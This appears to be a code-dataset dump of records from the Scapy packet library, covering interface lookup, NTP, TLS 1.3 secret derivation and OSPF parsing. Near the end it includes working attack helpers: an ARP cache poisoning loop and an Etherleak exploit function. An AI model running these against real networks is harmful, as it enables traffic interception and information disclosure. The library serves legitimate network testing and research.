3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L595-L639
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterfaceDict.dev_from_name
def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ try: return next(iface for iface in six.itervalues(self) if (iface.name == name or iface.description == name)) except (StopIteration, Runti...
python
def dev_from_name(self, name): """Return the first pcap device name for a given Windows device name. """ try: return next(iface for iface in six.itervalues(self) if (iface.name == name or iface.description == name)) except (StopIteration, Runti...
[ "def", "dev_from_name", "(", "self", ",", "name", ")", ":", "try", ":", "return", "next", "(", "iface", "for", "iface", "in", "six", ".", "itervalues", "(", "self", ")", "if", "(", "iface", ".", "name", "==", "name", "or", "iface", ".", "description"...
Return the first pcap device name for a given Windows device name.
[ "Return", "the", "first", "pcap", "device", "name", "for", "a", "given", "Windows", "device", "name", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L686-L694
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterfaceDict.dev_from_pcapname
def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" try: return next(iface for iface in six.itervalues(self) if iface.pcap_name == pcap_name) except (StopIteration, RuntimeError): raise ValueError("U...
python
def dev_from_pcapname(self, pcap_name): """Return Windows device name for given pcap device name.""" try: return next(iface for iface in six.itervalues(self) if iface.pcap_name == pcap_name) except (StopIteration, RuntimeError): raise ValueError("U...
[ "def", "dev_from_pcapname", "(", "self", ",", "pcap_name", ")", ":", "try", ":", "return", "next", "(", "iface", "for", "iface", "in", "six", ".", "itervalues", "(", "self", ")", "if", "iface", ".", "pcap_name", "==", "pcap_name", ")", "except", "(", "...
Return Windows device name for given pcap device name.
[ "Return", "Windows", "device", "name", "for", "given", "pcap", "device", "name", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L696-L702
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterfaceDict.dev_from_index
def dev_from_index(self, if_index): """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in six.itervalues(self) if iface.win_index == if_index) except (StopIteration, ...
python
def dev_from_index(self, if_index): """Return interface name from interface index""" try: if_index = int(if_index) # Backward compatibility return next(iface for iface in six.itervalues(self) if iface.win_index == if_index) except (StopIteration, ...
[ "def", "dev_from_index", "(", "self", ",", "if_index", ")", ":", "try", ":", "if_index", "=", "int", "(", "if_index", ")", "# Backward compatibility", "return", "next", "(", "iface", "for", "iface", "in", "six", ".", "itervalues", "(", "self", ")", "if", ...
Return interface name from interface index
[ "Return", "interface", "name", "from", "interface", "index" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L704-L715
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterfaceDict.reload
def reload(self): """Reload interface list""" self.restarted_adapter = False self.data.clear() if conf.use_winpcapy: # Reload from Winpcapy from scapy.arch.pcapdnet import load_winpcapy load_winpcapy() self.load() # Reload conf.iface ...
python
def reload(self): """Reload interface list""" self.restarted_adapter = False self.data.clear() if conf.use_winpcapy: # Reload from Winpcapy from scapy.arch.pcapdnet import load_winpcapy load_winpcapy() self.load() # Reload conf.iface ...
[ "def", "reload", "(", "self", ")", ":", "self", ".", "restarted_adapter", "=", "False", "self", ".", "data", ".", "clear", "(", ")", "if", "conf", ".", "use_winpcapy", ":", "# Reload from Winpcapy", "from", "scapy", ".", "arch", ".", "pcapdnet", "import", ...
Reload interface list
[ "Reload", "interface", "list" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L717-L727
train
secdev/scapy
scapy/arch/windows/__init__.py
NetworkInterfaceDict.show
def show(self, resolve_mac=True, print_result=True): """Print list of available network interfaces in human readable form""" res = [] for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac and conf.manufdb: ...
python
def show(self, resolve_mac=True, print_result=True): """Print list of available network interfaces in human readable form""" res = [] for iface_name in sorted(self.data): dev = self.data[iface_name] mac = dev.mac if resolve_mac and conf.manufdb: ...
[ "def", "show", "(", "self", ",", "resolve_mac", "=", "True", ",", "print_result", "=", "True", ")", ":", "res", "=", "[", "]", "for", "iface_name", "in", "sorted", "(", "self", ".", "data", ")", ":", "dev", "=", "self", ".", "data", "[", "iface_nam...
Print list of available network interfaces in human readable form
[ "Print", "list", "of", "available", "network", "interfaces", "in", "human", "readable", "form" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/arch/windows/__init__.py#L729-L749
train
secdev/scapy
scapy/contrib/cansocket_python_can.py
CANSocket.select
def select(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ if remain is not None: max_timeout = remain / len(sockets) for s in sockets: if s.timeout > max_timeout: ...
python
def select(sockets, remain=None): """This function is called during sendrecv() routine to select the available sockets. """ if remain is not None: max_timeout = remain / len(sockets) for s in sockets: if s.timeout > max_timeout: ...
[ "def", "select", "(", "sockets", ",", "remain", "=", "None", ")", ":", "if", "remain", "is", "not", "None", ":", "max_timeout", "=", "remain", "/", "len", "(", "sockets", ")", "for", "s", "in", "sockets", ":", "if", "s", ".", "timeout", ">", "max_t...
This function is called during sendrecv() routine to select the available sockets.
[ "This", "function", "is", "called", "during", "sendrecv", "()", "routine", "to", "select", "the", "available", "sockets", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/cansocket_python_can.py#L80-L92
train
secdev/scapy
scapy/layers/ntp.py
_ntp_dispatcher
def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: ...
python
def _ntp_dispatcher(payload): """ Returns the right class for a given NTP packet. """ # By default, calling NTP() will build a NTP packet as defined in RFC 5905 # (see the code of NTPHeader). Use NTPHeader for extension fields and MAC. if payload is None: return NTPHeader else: ...
[ "def", "_ntp_dispatcher", "(", "payload", ")", ":", "# By default, calling NTP() will build a NTP packet as defined in RFC 5905", "# (see the code of NTPHeader). Use NTPHeader for extension fields and MAC.", "if", "payload", "is", "None", ":", "return", "NTPHeader", "else", ":", "l...
Returns the right class for a given NTP packet.
[ "Returns", "the", "right", "class", "for", "a", "given", "NTP", "packet", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L167-L182
train
secdev/scapy
scapy/layers/ntp.py
NTP.pre_dissect
def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) ...
python
def pre_dissect(self, s): """ Check that the payload is long enough to build a NTP packet. """ length = len(s) if length < _NTP_PACKET_MIN_SIZE: err = " ({}".format(length) + " is < _NTP_PACKET_MIN_SIZE " err += "({})).".format(_NTP_PACKET_MIN_SIZE) ...
[ "def", "pre_dissect", "(", "self", ",", "s", ")", ":", "length", "=", "len", "(", "s", ")", "if", "length", "<", "_NTP_PACKET_MIN_SIZE", ":", "err", "=", "\" ({}\"", ".", "format", "(", "length", ")", "+", "\" is < _NTP_PACKET_MIN_SIZE \"", "err", "+=", ...
Check that the payload is long enough to build a NTP packet.
[ "Check", "that", "the", "payload", "is", "long", "enough", "to", "build", "a", "NTP", "packet", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L199-L208
train
secdev/scapy
scapy/layers/ntp.py
NTP.haslayer
def haslayer(self, cls): """Specific: NTPHeader().haslayer(NTP) should return True.""" if cls == "NTP": if isinstance(self, NTP): return True elif issubtype(cls, NTP): if isinstance(self, cls): return True return super(NTP, self).ha...
python
def haslayer(self, cls): """Specific: NTPHeader().haslayer(NTP) should return True.""" if cls == "NTP": if isinstance(self, NTP): return True elif issubtype(cls, NTP): if isinstance(self, cls): return True return super(NTP, self).ha...
[ "def", "haslayer", "(", "self", ",", "cls", ")", ":", "if", "cls", "==", "\"NTP\"", ":", "if", "isinstance", "(", "self", ",", "NTP", ")", ":", "return", "True", "elif", "issubtype", "(", "cls", ",", "NTP", ")", ":", "if", "isinstance", "(", "self"...
Specific: NTPHeader().haslayer(NTP) should return True.
[ "Specific", ":", "NTPHeader", "()", ".", "haslayer", "(", "NTP", ")", "should", "return", "True", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L212-L220
train
secdev/scapy
scapy/layers/ntp.py
NTPHeader.guess_payload_class
def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions elif plen == _NTP_AUTH_MD5_TAIL_SIZE: return NTPAuthen...
python
def guess_payload_class(self, payload): """ Handles NTPv4 extensions and MAC part (when authentication is used.) """ plen = len(payload) if plen > _NTP_AUTH_MD5_TAIL_SIZE: return NTPExtensions elif plen == _NTP_AUTH_MD5_TAIL_SIZE: return NTPAuthen...
[ "def", "guess_payload_class", "(", "self", ",", "payload", ")", ":", "plen", "=", "len", "(", "payload", ")", "if", "plen", ">", "_NTP_AUTH_MD5_TAIL_SIZE", ":", "return", "NTPExtensions", "elif", "plen", "==", "_NTP_AUTH_MD5_TAIL_SIZE", ":", "return", "NTPAuthen...
Handles NTPv4 extensions and MAC part (when authentication is used.)
[ "Handles", "NTPv4", "extensions", "and", "MAC", "part", "(", "when", "authentication", "is", "used", ".", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/ntp.py#L464-L475
train
secdev/scapy
scapy/layers/tls/session.py
connState.sslv2_derive_keys
def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((sel...
python
def sslv2_derive_keys(self, key_material): """ There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere. """ skip_first = True if ((sel...
[ "def", "sslv2_derive_keys", "(", "self", ",", "key_material", ")", ":", "skip_first", "=", "True", "if", "(", "(", "self", ".", "connection_end", "==", "\"client\"", "and", "self", ".", "row", "==", "\"read\"", ")", "or", "(", "self", ".", "connection_end"...
There is actually only one key, the CLIENT-READ-KEY or -WRITE-KEY. Note that skip_first is opposite from the one with SSLv3 derivation. Also, if needed, the IV should be set elsewhere.
[ "There", "is", "actually", "only", "one", "key", "the", "CLIENT", "-", "READ", "-", "KEY", "or", "-", "WRITE", "-", "KEY", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L219-L240
train
secdev/scapy
scapy/layers/tls/session.py
connState.snapshot
def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg...
python
def snapshot(self): """ This is used mostly as a way to keep the cipher state and the seq_num. """ snap = connState(connection_end=self.connection_end, read_or_write=self.row, seq_num=self.seq_num, compression_alg...
[ "def", "snapshot", "(", "self", ")", ":", "snap", "=", "connState", "(", "connection_end", "=", "self", ".", "connection_end", ",", "read_or_write", "=", "self", ".", "row", ",", "seq_num", "=", "self", ".", "seq_num", ",", "compression_alg", "=", "type", ...
This is used mostly as a way to keep the cipher state and the seq_num.
[ "This", "is", "used", "mostly", "as", "a", "way", "to", "keep", "the", "cipher", "state", "and", "the", "seq_num", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L250-L263
train
secdev/scapy
scapy/layers/tls/session.py
tlsSession.mirror
def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of...
python
def mirror(self): """ This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of...
[ "def", "mirror", "(", "self", ")", ":", "self", ".", "ipdst", ",", "self", ".", "ipsrc", "=", "self", ".", "ipsrc", ",", "self", ".", "ipdst", "self", ".", "dport", ",", "self", ".", "sport", "=", "self", ".", "sport", ",", "self", ".", "dport", ...
This function takes a tlsSession object and swaps the IP addresses, ports, connection ends and connection states. The triggered_commit are also swapped (though it is probably overkill, it is cleaner this way). It is useful for static analysis of a series of messages from both the client...
[ "This", "function", "takes", "a", "tlsSession", "object", "and", "swaps", "the", "IP", "addresses", "ports", "connection", "ends", "and", "connection", "states", ".", "The", "triggered_commit", "are", "also", "swapped", "(", "though", "it", "is", "probably", "...
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L469-L513
train
secdev/scapy
scapy/layers/tls/session.py
tlsSession.compute_tls13_early_secrets
def compute_tls13_early_secrets(self): """ Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # we use the prcs rather than the pwcs in a totally arbitrary way if self.prcs is None: # too soon ...
python
def compute_tls13_early_secrets(self): """ Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only. """ # we use the prcs rather than the pwcs in a totally arbitrary way if self.prcs is None: # too soon ...
[ "def", "compute_tls13_early_secrets", "(", "self", ")", ":", "# we use the prcs rather than the pwcs in a totally arbitrary way", "if", "self", ".", "prcs", "is", "None", ":", "# too soon", "return", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "self", ".", "tls13...
Ciphers key and IV are updated accordingly for 0-RTT data. self.handshake_messages should be ClientHello only.
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "for", "0", "-", "RTT", "data", ".", "self", ".", "handshake_messages", "should", "be", "ClientHello", "only", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L567-L605
train
secdev/scapy
scapy/layers/tls/session.py
tlsSession.compute_tls13_handshake_secrets
def compute_tls13_handshake_secrets(self): """ Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello. """ if self.tls13_early_secret is None: warning("No early secret. This is abnormal.") hk...
python
def compute_tls13_handshake_secrets(self): """ Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello. """ if self.tls13_early_secret is None: warning("No early secret. This is abnormal.") hk...
[ "def", "compute_tls13_handshake_secrets", "(", "self", ")", ":", "if", "self", ".", "tls13_early_secret", "is", "None", ":", "warning", "(", "\"No early secret. This is abnormal.\"", ")", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "self", ".", "tls13_handshake...
Ciphers key and IV are updated accordingly for Handshake data. self.handshake_messages should be ClientHello...ServerHello.
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "for", "Handshake", "data", ".", "self", ".", "handshake_messages", "should", "be", "ClientHello", "...", "ServerHello", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L607-L635
train
secdev/scapy
scapy/layers/tls/session.py
tlsSession.compute_tls13_traffic_secrets
def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ hkdf = self.prcs.hkdf self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret, ...
python
def compute_tls13_traffic_secrets(self): """ Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished. """ hkdf = self.prcs.hkdf self.tls13_master_secret = hkdf.extract(self.tls13_handshake_secret, ...
[ "def", "compute_tls13_traffic_secrets", "(", "self", ")", ":", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "self", ".", "tls13_master_secret", "=", "hkdf", ".", "extract", "(", "self", ".", "tls13_handshake_secret", ",", "None", ")", "cts0", "=", "hkdf", ...
Ciphers key and IV are updated accordingly for Application data. self.handshake_messages should be ClientHello...ServerFinished.
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "for", "Application", "data", ".", "self", ".", "handshake_messages", "should", "be", "ClientHello", "...", "ServerFinished", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L637-L667
train
secdev/scapy
scapy/layers/tls/session.py
tlsSession.compute_tls13_resumption_secret
def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.deriv...
python
def compute_tls13_resumption_secret(self): """ self.handshake_messages should be ClientHello...ClientFinished. """ if self.connection_end == "server": hkdf = self.prcs.hkdf elif self.connection_end == "client": hkdf = self.pwcs.hkdf rs = hkdf.deriv...
[ "def", "compute_tls13_resumption_secret", "(", "self", ")", ":", "if", "self", ".", "connection_end", "==", "\"server\"", ":", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "elif", "self", ".", "connection_end", "==", "\"client\"", ":", "hkdf", "=", "self",...
self.handshake_messages should be ClientHello...ClientFinished.
[ "self", ".", "handshake_messages", "should", "be", "ClientHello", "...", "ClientFinished", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L699-L710
train
secdev/scapy
scapy/layers/tls/session.py
tlsSession.compute_tls13_next_traffic_secrets
def compute_tls13_next_traffic_secrets(self): """ Ciphers key and IV are updated accordingly. """ hkdf = self.prcs.hkdf hl = hkdf.hash.digest_size cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, "...
python
def compute_tls13_next_traffic_secrets(self): """ Ciphers key and IV are updated accordingly. """ hkdf = self.prcs.hkdf hl = hkdf.hash.digest_size cts = self.tls13_derived_secrets["client_traffic_secrets"] ctsN = cts[-1] ctsN_1 = hkdf.expand_label(ctsN, "...
[ "def", "compute_tls13_next_traffic_secrets", "(", "self", ")", ":", "hkdf", "=", "self", ".", "prcs", ".", "hkdf", "hl", "=", "hkdf", ".", "hash", ".", "digest_size", "cts", "=", "self", ".", "tls13_derived_secrets", "[", "\"client_traffic_secrets\"", "]", "ct...
Ciphers key and IV are updated accordingly.
[ "Ciphers", "key", "and", "IV", "are", "updated", "accordingly", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L712-L732
train
secdev/scapy
scapy/layers/tls/session.py
_GenericTLSSessionInheritance.show2
def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the c...
python
def show2(self): """ Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the c...
[ "def", "show2", "(", "self", ")", ":", "s", "=", "self", ".", "tls_session", "rcs_snap", "=", "s", ".", "rcs", ".", "snapshot", "(", ")", "wcs_snap", "=", "s", ".", "wcs", ".", "snapshot", "(", ")", "s", ".", "rcs", "=", "self", ".", "rcs_snap_in...
Rebuild the TLS packet with the same context, and then .show() it. We need self.__class__ to call the subclass in a dynamic way. Howether we do not want the tls_session.{r,w}cs.seq_num to be updated. We have to bring back the init states (it's possible the cipher context has been update...
[ "Rebuild", "the", "TLS", "packet", "with", "the", "same", "context", "and", "then", ".", "show", "()", "it", ".", "We", "need", "self", ".", "__class__", "to", "call", "the", "subclass", "in", "a", "dynamic", "way", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/tls/session.py#L897-L919
train
secdev/scapy
scapy/contrib/ospf.py
_LLSGuessPayloadClass
def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs)
python
def _LLSGuessPayloadClass(p, **kargs): """ Guess the correct LLS class for a given payload """ cls = conf.raw_layer if len(p) >= 3: typ = struct.unpack("!H", p[0:2])[0] clsname = _OSPF_LLSclasses.get(typ, "LLS_Generic_TLV") cls = globals()[clsname] return cls(p, **kargs)
[ "def", "_LLSGuessPayloadClass", "(", "p", ",", "*", "*", "kargs", ")", ":", "cls", "=", "conf", ".", "raw_layer", "if", "len", "(", "p", ")", ">=", "3", ":", "typ", "=", "struct", ".", "unpack", "(", "\"!H\"", ",", "p", "[", "0", ":", "2", "]",...
Guess the correct LLS class for a given payload
[ "Guess", "the", "correct", "LLS", "class", "for", "a", "given", "payload" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/ospf.py#L172-L180
train
secdev/scapy
scapy/contrib/ospf.py
_OSPFv3_LSAGuessPayloadClass
def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs)
python
def _OSPFv3_LSAGuessPayloadClass(p, **kargs): """ Guess the correct OSPFv3 LSA class for a given payload """ cls = conf.raw_layer if len(p) >= 6: typ = struct.unpack("!H", p[2:4])[0] clsname = _OSPFv3_LSclasses.get(typ, "Raw") cls = globals()[clsname] return cls(p, **kargs)
[ "def", "_OSPFv3_LSAGuessPayloadClass", "(", "p", ",", "*", "*", "kargs", ")", ":", "cls", "=", "conf", ".", "raw_layer", "if", "len", "(", "p", ")", ">=", "6", ":", "typ", "=", "struct", ".", "unpack", "(", "\"!H\"", ",", "p", "[", "2", ":", "4",...
Guess the correct OSPFv3 LSA class for a given payload
[ "Guess", "the", "correct", "OSPFv3", "LSA", "class", "for", "a", "given", "payload" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/contrib/ospf.py#L515-L525
train
secdev/scapy
scapy/layers/l2.py
getmacbyip
def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) tmp = [orb(e) for e in inet_aton(ip)] if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%...
python
def getmacbyip(ip, chainCC=0): """Return MAC address corresponding to a given IP address""" if isinstance(ip, Net): ip = next(iter(ip)) ip = inet_ntoa(inet_aton(ip or "0.0.0.0")) tmp = [orb(e) for e in inet_aton(ip)] if (tmp[0] & 0xf0) == 0xe0: # mcast @ return "01:00:5e:%.2x:%.2x:%...
[ "def", "getmacbyip", "(", "ip", ",", "chainCC", "=", "0", ")", ":", "if", "isinstance", "(", "ip", ",", "Net", ")", ":", "ip", "=", "next", "(", "iter", "(", "ip", ")", ")", "ip", "=", "inet_ntoa", "(", "inet_aton", "(", "ip", "or", "\"0.0.0.0\""...
Return MAC address corresponding to a given IP address
[ "Return", "MAC", "address", "corresponding", "to", "a", "given", "IP", "address" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L70-L102
train
secdev/scapy
scapy/layers/l2.py
arpcachepoison
def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) try: while True: sendp(p,...
python
def arpcachepoison(target, victim, interval=60): """Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None """ tmac = getmacbyip(target) p = Ether(dst=tmac) / ARP(op="who-has", psrc=victim, pdst=target) try: while True: sendp(p,...
[ "def", "arpcachepoison", "(", "target", ",", "victim", ",", "interval", "=", "60", ")", ":", "tmac", "=", "getmacbyip", "(", "target", ")", "p", "=", "Ether", "(", "dst", "=", "tmac", ")", "/", "ARP", "(", "op", "=", "\"who-has\"", ",", "psrc", "="...
Poison target's cache with (your MAC,victim's IP) couple arpcachepoison(target, victim, [interval=60]) -> None
[ "Poison", "target", "s", "cache", "with", "(", "your", "MAC", "victim", "s", "IP", ")", "couple", "arpcachepoison", "(", "target", "victim", "[", "interval", "=", "60", "]", ")", "-", ">", "None" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L595-L608
train
secdev/scapy
scapy/layers/l2.py
is_promisc
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 ret...
python
def is_promisc(ip, fake_bcast="ff:ff:00:00:00:00", **kargs): """Try to guess if target is in Promisc mode. The target is provided by its ip.""" # noqa: E501 responses = srp1(Ether(dst=fake_bcast) / ARP(op="who-has", pdst=ip), type=ETH_P_ARP, iface_hint=ip, timeout=1, verbose=0, **kargs) # noqa: E501 ret...
[ "def", "is_promisc", "(", "ip", ",", "fake_bcast", "=", "\"ff:ff:00:00:00:00\"", ",", "*", "*", "kargs", ")", ":", "# noqa: E501", "responses", "=", "srp1", "(", "Ether", "(", "dst", "=", "fake_bcast", ")", "/", "ARP", "(", "op", "=", "\"who-has\"", ",",...
Try to guess if target is in Promisc mode. The target is provided by its ip.
[ "Try", "to", "guess", "if", "target", "is", "in", "Promisc", "mode", ".", "The", "target", "is", "provided", "by", "its", "ip", "." ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L640-L645
train
secdev/scapy
scapy/layers/l2.py
promiscping
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=time...
python
def promiscping(net, timeout=2, fake_bcast="ff:ff:ff:ff:ff:fe", **kargs): """Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)""" ans, unans = srp(Ether(dst=fake_bcast) / ARP(pdst=net), filter="arp and arp[7] = 2", timeout=time...
[ "def", "promiscping", "(", "net", ",", "timeout", "=", "2", ",", "fake_bcast", "=", "\"ff:ff:ff:ff:ff:fe\"", ",", "*", "*", "kargs", ")", ":", "ans", ",", "unans", "=", "srp", "(", "Ether", "(", "dst", "=", "fake_bcast", ")", "/", "ARP", "(", "pdst",...
Send ARP who-has requests to determine which hosts are in promiscuous mode promiscping(net, iface=conf.iface)
[ "Send", "ARP", "who", "-", "has", "requests", "to", "determine", "which", "hosts", "are", "in", "promiscuous", "mode", "promiscping", "(", "net", "iface", "=", "conf", ".", "iface", ")" ]
3ffe757c184017dd46464593a8f80f85abc1e79a
https://github.com/secdev/scapy/blob/3ffe757c184017dd46464593a8f80f85abc1e79a/scapy/layers/l2.py#L649-L657
train
secdev/scapy
scapy/layers/l2.py
etherleak
def etherleak(target, **kargs): """Exploit Etherleak flaw""" return srp(Ether() / ARP(pdst=target), prn=lambda s_r: conf.padding_layer in s_r[1] and hexstr(s_r[1][conf.padding_layer].load), # noqa: E501 filter="arp", **kargs)
python
